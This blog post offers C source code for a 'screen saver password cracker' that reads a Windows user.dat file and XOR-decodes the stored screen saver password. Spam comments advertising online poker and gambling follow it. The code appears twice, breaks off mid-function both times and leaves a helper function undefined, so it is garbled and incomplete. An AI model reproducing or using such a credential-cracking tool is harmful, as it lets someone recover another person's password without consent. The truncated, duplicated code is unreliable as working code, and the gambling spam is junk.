SCREEN SAVER PASSWORD CRACKER
THIS IS THE CODE OF A C/C++ PROGRAM WHICH CAN BE COMPILED BY USING DEV C++ AND CODE BLOKS OR TURBO C++. IT IS CREATED BY ONE OF MY FRIEND.
/*
Screen Saveer Password Cracker:
Decrypts Screen Saver Password which is stored in user.dat.
*/
#include<ctype.h>
#include<stdio.h>
#include<string.h>
FILE *fp;
char *path="c:\windows\user.dat";
/*encrypted password stored in this file when u log on to default user..
If there r multiple users..Password stored in
\windowsprofilesuser-nameuser.dat...
*/
unsigned long int search(char *s);
char *encstr(unsigned long int loc);
int toint(char a);
void main()
{
unsigned long int l;
char s[51];
int arr[]={4,8,14,14,7,6,1,13,6,7,6,9,10,1,1,11,7,10,8,12,4,7,
15,8,5,4,9,5,9,7,5,15,7,8,13,9,13,10,6,12,5,9,13,7,6,11,3,5,12,5};
//this array is 2 b xored with encrypted-string
int s1[51],s2[51];
int i,len,k;
clrscr();
l=search("ScreenSave_Data");
strcpy(s,encstr(l));
len=strlen(s);
for(i=0;i<len;i++)
{
s1[i]=toint(s[i]);
s2[i]=(s1[i])^(arr[i]);
}
printf("Current Screen Saver Password:
");
for(i=0;i<len;i+=2)
printf("%c", (s2[i]*16)+(s2[i+1]) );
}
/* Searches where ScreenSave_Data is there in the file
and returns the location*/
unsigned long int search(char *s)
{
int k=0,len,ch;
unsigned long int i=0;
fp=fopen(path,"rb");
len=strlen(s);
while( (ch=getc(fp))!=EOF)
{
if(ch==s[k])
k++;
else k=0;
i++;
if(k==len)
return i;
}
}
/* It returns Encrypted String*/
char *encstr(unsigned long int loc)
{
char ch,s[55],ch1;
int i=0;
ch=toascii(0);
fp=fopen(path,"rb");
fseek(fp,loc,SEEK_SET);
while( (ch1=fgetc(fp))!=ch)
{ s[i]=ch1;
i++;
}
s[i]='
THIS IS THE CODE OF A C/C++ PROGRAM WHICH CAN BE COMPILED BY USING DEV C++ AND CODE BLOKS OR TURBO C++. IT IS CREATED BY ONE OF MY FRIEND.
/*
Screen Saveer Password Cracker:
Decrypts Screen Saver Password which is stored in user.dat.
*/
#include<ctype.h>
#include<stdio.h>
#include<string.h>
FILE *fp;
char *path="c:\windows\user.dat";
/*encrypted password stored in this file when u log on to default user..
If there r multiple users..Password stored in
\windowsprofilesuser-nameuser.dat...
*/
unsigned long int search(char *s);
char *encstr(unsigned long int loc);
int toint(char a);
void main()
{
unsigned long int l;
char s[51];
int arr[]={4,8,14,14,7,6,1,13,6,7,6,9,10,1,1,11,7,10,8,12,4,7,
15,8,5,4,9,5,9,7,5,15,7,8,13,9,13,10,6,12,5,9,13,7,6,11,3,5,12,5};
//this array is 2 b xored with encrypted-string
int s1[51],s2[51];
int i,len,k;
clrscr();
l=search("ScreenSave_Data");
strcpy(s,encstr(l));
len=strlen(s);
for(i=0;i<len;i++)
{
s1[i]=toint(s[i]);
s2[i]=(s1[i])^(arr[i]);
}
printf("Current Screen Saver Password:
");
for(i=0;i<len;i+=2)
printf("%c", (s2[i]*16)+(s2[i+1]) );
}
/* Searches where ScreenSave_Data is there in the file
and returns the location*/
unsigned long int search(char *s)
{
int k=0,len,ch;
unsigned long int i=0;
fp=fopen(path,"rb");
len=strlen(s);
while( (ch=getc(fp))!=EOF)
{
if(ch==s[k])
k++;
else k=0;
i++;
if(k==len)
return i;
}
}
/* It returns Encrypted String*/
char *encstr(unsigned long int loc)
{
char ch,s[55],ch1;
int i=0;
ch=toascii(0);
fp=fopen(path,"rb");
fseek(fp,loc,SEEK_SET);
while( (ch1=fgetc(fp))!=ch)
{ s[i]=ch1;
i++;
}
s[i]='
very interesting article, I was steeped in c + + to make the programs about Poker, because I like's playing online games
ReplyDeletethanks for sharing, it's very useful, I will visit this blog again, permit bookmarks
ReplyDeletevisit toko sepatu online
Good write-up, I¡¦m regular visitor of one¡¦s site, maintain up the excellent operate, and It’s going to be a regular visitor for a long time.
ReplyDeleteCara paling efektif belajar bahasa Inggris
Cara paling efektif belajar bahasa Inggris
hotel di bumiayu
It’s really a great and useful piece of information. I’m glad that you just shared this helpful information with us.
ReplyDeletePlease stay us informed like this. Thanks for sharing. ??
Agen Bola
Agen Bola Terpercaya
Poker Online Uang Asli
Poker Uang Asli
Agen Poker Online
Poker Online
DellPoker
PokerGalaxy
IngatPoker
Axioobet